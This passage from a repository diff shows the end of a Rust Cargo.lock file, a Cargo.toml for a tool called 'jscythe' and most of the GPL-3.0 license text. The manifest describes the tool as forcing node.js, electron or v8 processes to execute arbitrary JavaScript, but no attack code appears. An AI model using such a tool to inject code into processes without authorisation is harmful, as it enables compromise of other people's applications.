     1684 +checksum = "c4f5b37a154999a8f3f98cc23a628d850e154479cd94decf3414696e12e31aaf"
     1685 + 
     1686 +[[package]]
     1687 +name = "unicode-normalization"
     1688 +version = "0.1.21"
     1689 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1690 +checksum = "854cbdc4f7bc6ae19c820d44abdc3277ac3e1b2b93db20a636825d9322fb60e6"
     1691 +dependencies = [
     1692 + "tinyvec",
     1693 +]
     1694 + 
     1695 +[[package]]
     1696 +name = "url"
     1697 +version = "1.7.2"
     1698 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1699 +checksum = "dd4e7c0d531266369519a4aa4f399d748bd37043b00bde1e4ff1f60a120b355a"
     1700 +dependencies = [
     1701 + "idna 0.1.5",
     1702 + "matches",
     1703 + "percent-encoding 1.0.1",
     1704 +]
     1705 + 
     1706 +[[package]]
     1707 +name = "url"
     1708 +version = "2.2.2"
     1709 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1710 +checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c"
     1711 +dependencies = [
     1712 + "form_urlencoded",
     1713 + "idna 0.2.3",
     1714 + "matches",
     1715 + "percent-encoding 2.1.0",
     1716 +]
     1717 + 
     1718 +[[package]]
     1719 +name = "vcpkg"
     1720 +version = "0.2.15"
     1721 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1722 +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
     1723 + 
     1724 +[[package]]
     1725 +name = "version_check"
     1726 +version = "0.1.5"
     1727 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1728 +checksum = "914b1a6776c4c929a602fafd8bc742e06365d4bcbe48c30f9cca5824f70dc9dd"
     1729 + 
     1730 +[[package]]
     1731 +name = "version_check"
     1732 +version = "0.9.4"
     1733 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1734 +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
     1735 + 
     1736 +[[package]]
     1737 +name = "want"
     1738 +version = "0.3.0"
     1739 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1740 +checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
     1741 +dependencies = [
     1742 + "log 0.4.17",
     1743 + "try-lock",
     1744 +]
     1745 + 
     1746 +[[package]]
     1747 +name = "wasi"
     1748 +version = "0.10.0+wasi-snapshot-preview1"
     1749 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1750 +checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
     1751 + 
     1752 +[[package]]
     1753 +name = "wasi"
     1754 +version = "0.11.0+wasi-snapshot-preview1"
     1755 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1756 +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
     1757 + 
     1758 +[[package]]
     1759 +name = "wasm-bindgen"
     1760 +version = "0.2.82"
     1761 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1762 +checksum = "fc7652e3f6c4706c8d9cd54832c4a4ccb9b5336e2c3bd154d5cccfbf1c1f5f7d"
     1763 +dependencies = [
     1764 + "cfg-if 1.0.0",
     1765 + "wasm-bindgen-macro",
     1766 +]
     1767 + 
     1768 +[[package]]
     1769 +name = "wasm-bindgen-backend"
     1770 +version = "0.2.82"
     1771 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1772 +checksum = "662cd44805586bd52971b9586b1df85cdbbd9112e4ef4d8f41559c334dc6ac3f"
     1773 +dependencies = [
     1774 + "bumpalo",
     1775 + "log 0.4.17",
     1776 + "once_cell",
     1777 + "proc-macro2",
     1778 + "quote",
     1779 + "syn",
     1780 + "wasm-bindgen-shared",
     1781 +]
     1782 + 
     1783 +[[package]]
     1784 +name = "wasm-bindgen-futures"
     1785 +version = "0.4.32"
     1786 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1787 +checksum = "fa76fb221a1f8acddf5b54ace85912606980ad661ac7a503b4570ffd3a624dad"
     1788 +dependencies = [
     1789 + "cfg-if 1.0.0",
     1790 + "js-sys",
     1791 + "wasm-bindgen",
     1792 + "web-sys",
     1793 +]
     1794 + 
     1795 +[[package]]
     1796 +name = "wasm-bindgen-macro"
     1797 +version = "0.2.82"
     1798 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1799 +checksum = "b260f13d3012071dfb1512849c033b1925038373aea48ced3012c09df952c602"
     1800 +dependencies = [
     1801 + "quote",
     1802 + "wasm-bindgen-macro-support",
     1803 +]
     1804 + 
     1805 +[[package]]
     1806 +name = "wasm-bindgen-macro-support"
     1807 +version = "0.2.82"
     1808 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1809 +checksum = "5be8e654bdd9b79216c2929ab90721aa82faf65c48cdf08bdc4e7f51357b80da"
     1810 +dependencies = [
     1811 + "proc-macro2",
     1812 + "quote",
     1813 + "syn",
     1814 + "wasm-bindgen-backend",
     1815 + "wasm-bindgen-shared",
     1816 +]
     1817 + 
     1818 +[[package]]
     1819 +name = "wasm-bindgen-shared"
     1820 +version = "0.2.82"
     1821 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1822 +checksum = "6598dd0bd3c7d51095ff6531a5b23e02acdc81804e30d8f07afb77b7215a140a"
     1823 + 
     1824 +[[package]]
     1825 +name = "web-sys"
     1826 +version = "0.3.59"
     1827 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1828 +checksum = "ed055ab27f941423197eb86b2035720b1a3ce40504df082cac2ecc6ed73335a1"
     1829 +dependencies = [
     1830 + "js-sys",
     1831 + "wasm-bindgen",
     1832 +]
     1833 + 
     1834 +[[package]]
     1835 +name = "websocket"
     1836 +version = "0.26.5"
     1837 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1838 +checksum = "92aacab060eea423e4036820ddd28f3f9003b2c4d8048cbda985e5a14e18038d"
     1839 +dependencies = [
     1840 + "bytes 0.4.12",
     1841 + "futures",
     1842 + "hyper 0.10.16",
     1843 + "native-tls",
     1844 + "rand",
     1845 + "tokio-codec",
     1846 + "tokio-io",
     1847 + "tokio-reactor",
     1848 + "tokio-tcp",
     1849 + "tokio-tls",
     1850 + "unicase",
     1851 + "url 1.7.2",
     1852 + "websocket-base",
     1853 +]
     1854 + 
     1855 +[[package]]
     1856 +name = "websocket-base"
     1857 +version = "0.26.5"
     1858 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1859 +checksum = "49aec794b07318993d1db16156d5a9c750120597a5ee40c6b928d416186cb138"
     1860 +dependencies = [
     1861 + "base64 0.10.1",
     1862 + "bitflags",
     1863 + "byteorder",
     1864 + "bytes 0.4.12",
     1865 + "futures",
     1866 + "native-tls",
     1867 + "rand",
     1868 + "sha-1",
     1869 + "tokio-codec",
     1870 + "tokio-io",
     1871 + "tokio-tcp",
     1872 + "tokio-tls",
     1873 +]
     1874 + 
     1875 +[[package]]
     1876 +name = "winapi"
     1877 +version = "0.2.8"
     1878 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1879 +checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
     1880 + 
     1881 +[[package]]
     1882 +name = "winapi"
     1883 +version = "0.3.9"
     1884 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1885 +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
     1886 +dependencies = [
     1887 + "winapi-i686-pc-windows-gnu",
     1888 + "winapi-x86_64-pc-windows-gnu",
     1889 +]
     1890 + 
     1891 +[[package]]
     1892 +name = "winapi-build"
     1893 +version = "0.1.1"
     1894 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1895 +checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
     1896 + 
     1897 +[[package]]
     1898 +name = "winapi-i686-pc-windows-gnu"
     1899 +version = "0.4.0"
     1900 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1901 +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
     1902 + 
     1903 +[[package]]
     1904 +name = "winapi-util"
     1905 +version = "0.1.5"
     1906 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1907 +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
     1908 +dependencies = [
     1909 + "winapi 0.3.9",
     1910 +]
     1911 + 
     1912 +[[package]]
     1913 +name = "winapi-x86_64-pc-windows-gnu"
     1914 +version = "0.4.0"
     1915 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1916 +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
     1917 + 
     1918 +[[package]]
     1919 +name = "windows-sys"
     1920 +version = "0.36.1"
     1921 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1922 +checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2"
     1923 +dependencies = [
     1924 + "windows_aarch64_msvc",
     1925 + "windows_i686_gnu",
     1926 + "windows_i686_msvc",
     1927 + "windows_x86_64_gnu",
     1928 + "windows_x86_64_msvc",
     1929 +]
     1930 + 
     1931 +[[package]]
     1932 +name = "windows_aarch64_msvc"
     1933 +version = "0.36.1"
     1934 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1935 +checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47"
     1936 + 
     1937 +[[package]]
     1938 +name = "windows_i686_gnu"
     1939 +version = "0.36.1"
     1940 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1941 +checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6"
     1942 + 
     1943 +[[package]]
     1944 +name = "windows_i686_msvc"
     1945 +version = "0.36.1"
     1946 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1947 +checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024"
     1948 + 
     1949 +[[package]]
     1950 +name = "windows_x86_64_gnu"
     1951 +version = "0.36.1"
     1952 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1953 +checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1"
     1954 + 
     1955 +[[package]]
     1956 +name = "windows_x86_64_msvc"
     1957 +version = "0.36.1"
     1958 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1959 +checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680"
     1960 + 
     1961 +[[package]]
     1962 +name = "winreg"
     1963 +version = "0.10.1"
     1964 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1965 +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
     1966 +dependencies = [
     1967 + "winapi 0.3.9",
     1968 +]
     1969 + 
     1970 +[[package]]
     1971 +name = "ws2_32-sys"
     1972 +version = "0.2.1"
     1973 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1974 +checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
     1975 +dependencies = [
     1976 + "winapi 0.2.8",
     1977 + "winapi-build",
     1978 +]
     1979 + 
  • ■ ■ ■ ■ ■ ■
    Cargo.toml
     1 +[package]
     2 +name = "jscythe"
     3 +version = "1.0.0"
     4 +edition = "2021"
     5 +description = "Force any node.js/electron/v8 based process to execute arbitrary javascript code."
     6 +authors = ["Simone Margaritelli <[email protected]>"]
     7 +license = "GPL-3.0"
     8 +readme = "README.md"
     9 +repository = "https://github.com/evilsocket/sauron"
     10 + 
     11 +[dependencies]
     12 +clap = { version = "3.2.18", features = ["derive"] }
     13 +netstat2 = "0.9.1"
     14 +nix = "0.25.0"
     15 +reqwest = { version = "0.11.11", features = ["blocking"] }
     16 +serde = { version = "1.0.144", features = ["derive"] }
     17 +serde_json = "1.0.85"
     18 +sysinfo = "0.25.3"
     19 +websocket = "0.26.5"
     20 + 
  • ■ ■ ■ ■ ■ ■
    LICENSE
     1 +GNU GENERAL PUBLIC LICENSE
     2 +==========================
     3 + 
     4 +Version 3, 29 June 2007
     5 + 
     6 +Copyright &copy; 2007 Free Software Foundation, Inc. &lt;<https://www.fsf.org/>&gt;
     7 + 
     8 +Everyone is permitted to copy and distribute verbatim copies of this license
     9 +document, but changing it is not allowed.
     10 + 
     11 +## Preamble
     12 + 
     13 +The GNU General Public License is a free, copyleft license for software and other
     14 +kinds of works.
     15 + 
     16 +The licenses for most software and other practical works are designed to take away
     17 +your freedom to share and change the works. By contrast, the GNU General Public
     18 +License is intended to guarantee your freedom to share and change all versions of a
     19 +program--to make sure it remains free software for all its users. We, the Free
     20 +Software Foundation, use the GNU General Public License for most of our software; it
     21 +applies also to any other work released this way by its authors. You can apply it to
     22 +your programs, too.
     23 + 
     24 +When we speak of free software, we are referring to freedom, not price. Our General
     25 +Public Licenses are designed to make sure that you have the freedom to distribute
     26 +copies of free software (and charge for them if you wish), that you receive source
     27 +code or can get it if you want it, that you can change the software or use pieces of
     28 +it in new free programs, and that you know you can do these things.
     29 + 
     30 +To protect your rights, we need to prevent others from denying you these rights or
     31 +asking you to surrender the rights. Therefore, you have certain responsibilities if
     32 +you distribute copies of the software, or if you modify it: responsibilities to
     33 +respect the freedom of others.
     34 + 
     35 +For example, if you distribute copies of such a program, whether gratis or for a fee,
     36 +you must pass on to the recipients the same freedoms that you received. You must make
     37 +sure that they, too, receive or can get the source code. And you must show them these
     38 +terms so they know their rights.
     39 + 
     40 +Developers that use the GNU GPL protect your rights with two steps: (1) assert
     41 +copyright on the software, and (2) offer you this License giving you legal permission
     42 +to copy, distribute and/or modify it.
     43 + 
     44 +For the developers' and authors' protection, the GPL clearly explains that there is
     45 +no warranty for this free software. For both users' and authors' sake, the GPL
     46 +requires that modified versions be marked as changed, so that their problems will not
     47 +be attributed erroneously to authors of previous versions.
     48 + 
     49 +Some devices are designed to deny users access to install or run modified versions of
     50 +the software inside them, although the manufacturer can do so. This is fundamentally
     51 +incompatible with the aim of protecting users' freedom to change the software. The
     52 +systematic pattern of such abuse occurs in the area of products for individuals to
     53 +use, which is precisely where it is most unacceptable. Therefore, we have designed
     54 +this version of the GPL to prohibit the practice for those products. If such problems
     55 +arise substantially in other domains, we stand ready to extend this provision to
     56 +those domains in future versions of the GPL, as needed to protect the freedom of
     57 +users.
     58 + 
     59 +Finally, every program is threatened constantly by software patents. States should
     60 +not allow patents to restrict development and use of software on general-purpose
     61 +computers, but in those that do, we wish to avoid the special danger that patents
     62 +applied to a free program could make it effectively proprietary. To prevent this, the
     63 +GPL assures that patents cannot be used to render the program non-free.
     64 + 
     65 +The precise terms and conditions for copying, distribution and modification follow.
     66 + 
     67 +## TERMS AND CONDITIONS
     68 + 
     69 +### 0. Definitions.
     70 + 
     71 +&ldquo;This License&rdquo; refers to version 3 of the GNU General Public License.
     72 + 
     73 +&ldquo;Copyright&rdquo; also means copyright-like laws that apply to other kinds of
     74 +works, such as semiconductor masks.
     75 + 
     76 +&ldquo;The Program&rdquo; refers to any copyrightable work licensed under this
     77 +License. Each licensee is addressed as &ldquo;you&rdquo;. &ldquo;Licensees&rdquo; and
     78 +&ldquo;recipients&rdquo; may be individuals or organizations.
     79 + 
     80 +To &ldquo;modify&rdquo; a work means to copy from or adapt all or part of the work in
     81 +a fashion requiring copyright permission, other than the making of an exact copy. The
     82 +resulting work is called a &ldquo;modified version&rdquo; of the earlier work or a
     83 +work &ldquo;based on&rdquo; the earlier work.
     84 + 
     85 +A &ldquo;covered work&rdquo; means either the unmodified Program or a work based on
     86 +the Program.
     87 + 
     88 +To &ldquo;propagate&rdquo; a work means to do anything with it that, without
     89 +permission, would make you directly or secondarily liable for infringement under
     90 +applicable copyright law, except executing it on a computer or modifying a private
     91 +copy. Propagation includes copying, distribution (with or without modification),
     92 +making available to the public, and in some countries other activities as well.
     93 + 
     94 +To &ldquo;convey&rdquo; a work means any kind of propagation that enables other
     95 +parties to make or receive copies. Mere interaction with a user through a computer
     96 +network, with no transfer of a copy, is not conveying.
     97 + 
     98 +An interactive user interface displays &ldquo;Appropriate Legal Notices&rdquo; to the
     99 +extent that it includes a convenient and prominently visible feature that (1)
     100 +displays an appropriate copyright notice, and (2) tells the user that there is no
     101 +warranty for the work (except to the extent that warranties are provided), that
     102 +licensees may convey the work under this License, and how to view a copy of this
     103 +License. If the interface presents a list of user commands or options, such as a
     104 +menu, a prominent item in the list meets this criterion.
     105 + 
     106 +### 1. Source Code.
     107 + 
     108 +The &ldquo;source code&rdquo; for a work means the preferred form of the work for
     109 +making modifications to it. &ldquo;Object code&rdquo; means any non-source form of a
     110 +work.
     111 + 
     112 +A &ldquo;Standard Interface&rdquo; means an interface that either is an official
     113 +standard defined by a recognized standards body, or, in the case of interfaces
     114 +specified for a particular programming language, one that is widely used among
     115 +developers working in that language.
     116 + 
     117 +The &ldquo;System Libraries&rdquo; of an executable work include anything, other than
     118 +the work as a whole, that (a) is included in the normal form of packaging a Major
     119 +Component, but which is not part of that Major Component, and (b) serves only to
     120 +enable use of the work with that Major Component, or to implement a Standard
     121 +Interface for which an implementation is available to the public in source code form.
     122 +A &ldquo;Major Component&rdquo;, in this context, means a major essential component
     123 +(kernel, window system, and so on) of the specific operating system (if any) on which
     124 +the executable work runs, or a compiler used to produce the work, or an object code
     125 +interpreter used to run it.
     126 + 
     127 +The &ldquo;Corresponding Source&rdquo; for a work in object code form means all the
     128 +source code needed to generate, install, and (for an executable work) run the object
     129 +code and to modify the work, including scripts to control those activities. However,
     130 +it does not include the work's System Libraries, or general-purpose tools or
     131 +generally available free programs which are used unmodified in performing those
     132 +activities but which are not part of the work. For example, Corresponding Source
     133 +includes interface definition files associated with source files for the work, and
     134 +the source code for shared libraries and dynamically linked subprograms that the work
     135 +is specifically designed to require, such as by intimate data communication or
     136 +control flow between those subprograms and other parts of the work.
     137 + 
     138 +The Corresponding Source need not include anything that users can regenerate
     139 +automatically from other parts of the Corresponding Source.
     140 + 
     141 +The Corresponding Source for a work in source code form is that same work.
     142 + 
     143 +### 2. Basic Permissions.
     144 + 
     145 +All rights granted under this License are granted for the term of copyright on the
     146 +Program, and are irrevocable provided the stated conditions are met. This License
     147 +explicitly affirms your unlimited permission to run the unmodified Program. The
     148 +output from running a covered work is covered by this License only if the output,
     149 +given its content, constitutes a covered work. This License acknowledges your rights
     150 +of fair use or other equivalent, as provided by copyright law.
     151 + 
     152 +You may make, run and propagate covered works that you do not convey, without
     153 +conditions so long as your license otherwise remains in force. You may convey covered
     154 +works to others for the sole purpose of having them make modifications exclusively
     155 +for you, or provide you with facilities for running those works, provided that you
     156 +comply with the terms of this License in conveying all material for which you do not
     157 +control copyright. Those thus making or running the covered works for you must do so
     158 +exclusively on your behalf, under your direction and control, on terms that prohibit
     159 +them from making any copies of your copyrighted material outside their relationship
     160 +with you.
     161 + 
     162 +Conveying under any other circumstances is permitted solely under the conditions
     163 +stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
     164 + 
     165 +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
     166 + 
     167 +No covered work shall be deemed part of an effective technological measure under any
     168 +applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
     169 +adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
     170 +of such measures.
     171 + 
     172 +When you convey a covered work, you waive any legal power to forbid circumvention of
     173 +technological measures to the extent such circumvention is effected by exercising
     174 +rights under this License with respect to the covered work, and you disclaim any
     175 +intention to limit operation or modification of the work as a means of enforcing,
     176 +against the work's users, your or third parties' legal rights to forbid circumvention
     177 +of technological measures.
     178 + 
     179 +### 4. Conveying Verbatim Copies.
     180 + 
     181 +You may convey verbatim copies of the Program's source code as you receive it, in any
     182 +medium, provided that you conspicuously and appropriately publish on each copy an
     183 +appropriate copyright notice; keep intact all notices stating that this License and
     184 +any non-permissive terms added in accord with section 7 apply to the code; keep
     185 +intact all notices of the absence of any warranty; and give all recipients a copy of
     186 +this License along with the Program.
     187 + 
     188 +You may charge any price or no price for each copy that you convey, and you may offer
     189 +support or warranty protection for a fee.
     190 + 
     191 +### 5. Conveying Modified Source Versions.
     192 + 
     193 +You may convey a work based on the Program, or the modifications to produce it from
     194 +the Program, in the form of source code under the terms of section 4, provided that
     195 +you also meet all of these conditions:
     196 + 
     197 +* **a)** The work must carry prominent notices stating that you modified it, and giving a
     198 +relevant date.
     199 +* **b)** The work must carry prominent notices stating that it is released under this
     200 +License and any conditions added under section 7. This requirement modifies the
     201 +requirement in section 4 to &ldquo;keep intact all notices&rdquo;.
     202 +* **c)** You must license the entire work, as a whole, under this License to anyone who
     203 +comes into possession of a copy. This License will therefore apply, along with any
     204 +applicable section 7 additional terms, to the whole of the work, and all its parts,
     205 +regardless of how they are packaged. This License gives no permission to license the
     206 +work in any other way, but it does not invalidate such permission if you have
     207 +separately received it.
     208 +* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
     209 +Notices; however, if the Program has interactive interfaces that do not display
     210 +Appropriate Legal Notices, your work need not make them do so.
     211 + 
     212 +A compilation of a covered work with other separate and independent works, which are
     213 +not by their nature extensions of the covered work, and which are not combined with
     214 +it such as to form a larger program, in or on a volume of a storage or distribution
     215 +medium, is called an &ldquo;aggregate&rdquo; if the compilation and its resulting
     216 +copyright are not used to limit the access or legal rights of the compilation's users
     217 +beyond what the individual works permit. Inclusion of a covered work in an aggregate
     218 +does not cause this License to apply to the other parts of the aggregate.
     219 + 
     220 +### 6. Conveying Non-Source Forms.
     221 + 
     222 +You may convey a covered work in object code form under the terms of sections 4 and
     223 +5, provided that you also convey the machine-readable Corresponding Source under the
     224 +terms of this License, in one of these ways:
     225 + 
     226 +* **a)** Convey the object code in, or embodied in, a physical product (including a
     227 +physical distribution medium), accompanied by the Corresponding Source fixed on a
     228 +durable physical medium customarily used for software interchange.
     229 +* **b)** Convey the object code in, or embodied in, a physical product (including a
     230 +physical distribution medium), accompanied by a written offer, valid for at least
     231 +three years and valid for as long as you offer spare parts or customer support for
     232 +that product model, to give anyone who possesses the object code either (1) a copy of
     233 +the Corresponding Source for all the software in the product that is covered by this
     234 +License, on a durable physical medium customarily used for software interchange, for
     235 +a price no more than your reasonable cost of physically performing this conveying of
     236 +source, or (2) access to copy the Corresponding Source from a network server at no
     237 +charge.
     238 +* **c)** Convey individual copies of the object code with a copy of the written offer to
     239 +provide the Corresponding Source. This alternative is allowed only occasionally and
     240 +noncommercially, and only if you received the object code with such an offer, in
     241 +accord with subsection 6b.
     242 +* **d)** Convey the object code by offering access from a designated place (gratis or for
     243 +a charge), and offer equivalent access to the Corresponding Source in the same way
     244 +through the same place at no further charge. You need not require recipients to copy
     245 +the Corresponding Source along with the object code. If the place to copy the object
     246 +code is a network server, the Corresponding Source may be on a different server
     247 +(operated by you or a third party) that supports equivalent copying facilities,
     248 +provided you maintain clear directions next to the object code saying where to find
     249 +the Corresponding Source. Regardless of what server hosts the Corresponding Source,
     250 +you remain obligated to ensure that it is available for as long as needed to satisfy
     251 +these requirements.
     252 +* **e)** Convey the object code using peer-to-peer transmission, provided you inform
     253 +other peers where the object code and Corresponding Source of the work are being
     254 +offered to the general public at no charge under subsection 6d.
     255 + 
     256 +A separable portion of the object code, whose source code is excluded from the
     257 +Corresponding Source as a System Library, need not be included in conveying the
     258 +object code work.
     259 + 
     260 +A &ldquo;User Product&rdquo; is either (1) a &ldquo;consumer product&rdquo;, which
     261 +means any tangible personal property which is normally used for personal, family, or
     262 +household purposes, or (2) anything designed or sold for incorporation into a
     263 +dwelling. In determining whether a product is a consumer product, doubtful cases
     264 +shall be resolved in favor of coverage. For a particular product received by a
     265 +particular user, &ldquo;normally used&rdquo; refers to a typical or common use of
     266 +that class of product, regardless of the status of the particular user or of the way
     267 +in which the particular user actually uses, or expects or is expected to use, the
     268 +product. A product is a consumer product regardless of whether the product has
     269 +substantial commercial, industrial or non-consumer uses, unless such uses represent
     270 +the only significant mode of use of the product.
     271 + 
     272 +&ldquo;Installation Information&rdquo; for a User Product means any methods,
     273 +procedures, authorization keys, or other information required to install and execute
     274 +modified versions of a covered work in that User Product from a modified version of
     275 +its Corresponding Source. The information must suffice to ensure that the continued
     276 +functioning of the modified object code is in no case prevented or interfered with
     277 +solely because modification has been made.
     278 + 
     279 +If you convey an object code work under this section in, or with, or specifically for
     280 +use in, a User Product, and the conveying occurs as part of a transaction in which
     281 +the right of possession and use of the User Product is transferred to the recipient
     282 +in perpetuity or for a fixed term (regardless of how the transaction is
     283 +characterized), the Corresponding Source conveyed under this section must be
     284 +accompanied by the Installation Information. But this requirement does not apply if
     285 +neither you nor any third party retains the ability to install modified object code
     286 +on the User Product (for example, the work has been installed in ROM).
     287 + 
     288 +The requirement to provide Installation Information does not include a requirement to
     289 +continue to provide support service, warranty, or updates for a work that has been
     290 +modified or installed by the recipient, or for the User Product in which it has been
     291 +modified or installed. Access to a network may be denied when the modification itself
     292 +materially and adversely affects the operation of the network or violates the rules
     293 +and protocols for communication across the network.
     294 + 
     295 +Corresponding Source conveyed, and Installation Information provided, in accord with
     296 +this section must be in a format that is publicly documented (and with an
     297 +implementation available to the public in source code form), and must require no
     298 +special password or key for unpacking, reading or copying.
     299 + 
     300 +### 7. Additional Terms.
     301 + 
     302 +&ldquo;Additional permissions&rdquo; are terms that supplement the terms of this
     303 +License by making exceptions from one or more of its conditions. Additional
     304 +permissions that are applicable to the entire Program shall be treated as though they
     305 +were included in this License, to the extent that they are valid under applicable
     306 +law. If additional permissions apply only to part of the Program, that part may be
     307 +used separately under those permissions, but the entire Program remains governed by
     308 +this License without regard to the additional permissions.
     309 + 
     310 +When you convey a copy of a covered work, you may at your option remove any
     311 +additional permissions from that copy, or from any part of it. (Additional
     312 +permissions may be written to require their own removal in certain cases when you
     313 +modify the work.) You may place additional permissions on material, added by you to a
     314 +covered work, for which you have or can give appropriate copyright permission.
     315 + 
     316 +Notwithstanding any other provision of this License, for material you add to a
     317 +covered work, you may (if authorized by the copyright holders of that material)
     318 +supplement the terms of this License with terms:
     319 + 
     320 +* **a)** Disclaiming warranty or limiting liability differently from the terms of
     321 +sections 15 and 16 of this License; or
     322 +* **b)** Requiring preservation of specified reasonable legal notices or author
     323 +attributions in that material or in the Appropriate Legal Notices displayed by works
     324 +containing it; or
     325 +* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
     326 +modified versions of such material be marked in reasonable ways as different from the
     327 +original version; or
     328 +* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
     329 +material; or
     330 +* **e)** Declining to grant rights under trademark law for use of some trade names,
     331 +trademarks, or service marks; or
     332 +* **f)** Requiring indemnification of licensors and authors of that material by anyone
     333 +who conveys the material (or modified versions of it) with contractual assumptions of
     334 +liability to the recipient, for any liability that these contractual assumptions
     335 +directly impose on those licensors and authors.
     336 + 
     337 +All other non-permissive additional terms are considered &ldquo;further
     338 +restrictions&rdquo; within the meaning of section 10. If the Program as you received
     339 +it, or any part of it, contains a notice stating that it is governed by this License
     340 +along with a term that is a further restriction, you may remove that term. If a
     341 +license document contains a further restriction but permits relicensing or conveying
     342 +under this License, you may add to a covered work material governed by the terms of
     343 +that license document, provided that the further restriction does not survive such
     344 +relicensing or conveying.
     345 + 
     346 +If you add terms to a covered work in accord with this section, you must place, in
     347 +the relevant source files, a statement of the additional terms that apply to those
     348 +files, or a notice indicating where to find the applicable terms.
     349 + 
     350 +Additional terms, permissive or non-permissive, may be stated in the form of a
     351 +separately written license, or stated as exceptions; the above requirements apply
     352 +either way.
     353 + 
     354 +### 8. Termination.
     355 + 
     356 +You may not propagate or modify a covered work except as expressly provided under
     357 +this License. Any attempt otherwise to propagate or modify it is void, and will
     358 +automatically terminate your rights under this License (including any patent licenses
     359 +granted under the third paragraph of section 11).
     360 + 
     361 +However, if you cease all violation of this License, then your license from a
     362 +particular copyright holder is reinstated (a) provisionally, unless and until the
     363 +copyright holder explicitly and finally terminates your license, and (b) permanently,
     364 +if the copyright holder fails to notify you of the violation by some reasonable means
     365 +prior to 60 days after the cessation.
     366 + 
     367 +Moreover, your license from a particular copyright holder is reinstated permanently
     368 +if the copyright holder notifies you of the violation by some reasonable means, this
     369 +is the first time you have received notice of violation of this License (for any
     370 +work) from that copyright holder, and you cure the violation prior to 30 days after
     371 +your receipt of the notice.
     372 + 
     373 +Termination of your rights under this section does not terminate the licenses of
     374 +parties who have received copies or rights from you under this License. If your
     375 +rights have been terminated and not permanently reinstated, you do not qualify to
     376 +receive new licenses for the same material under section 10.
     377 + 
     378 +### 9. Acceptance Not Required for Having Copies.
     379 + 
     380 +You are not required to accept this License in order to receive or run a copy of the
     381 +Program. Ancillary propagation of a covered work occurring solely as a consequence of
     382 +using peer-to-peer transmission to receive a copy likewise does not require
     383 +acceptance. However, nothing other than this License grants you permission to
     384 +propagate or modify any covered work. These actions infringe copyright if you do not
     385 +accept this License. Therefore, by modifying or propagating a covered work, you
     386 +indicate your acceptance of this License to do so.
     387 + 
     388 +### 10. Automatic Licensing of Downstream Recipients.
     389 + 
     390 +Each time you convey a covered work, the recipient automatically receives a license
     391 +from the original licensors, to run, modify and propagate that work, subject to this
     392 +License. You are not responsible for enforcing compliance by third parties with this
     393 +License.
     394 + 
     395 +An &ldquo;entity transaction&rdquo; is a transaction transferring control of an
     396 +organization, or substantially all assets of one, or subdividing an organization, or
     397 +merging organizations. If propagation of a covered work results from an entity
     398 +transaction, each party to that transaction who receives a copy of the work also
     399 +receives whatever licenses to the work the party's predecessor in interest had or
     400 +could give under the previous paragraph, plus a right to possession of the
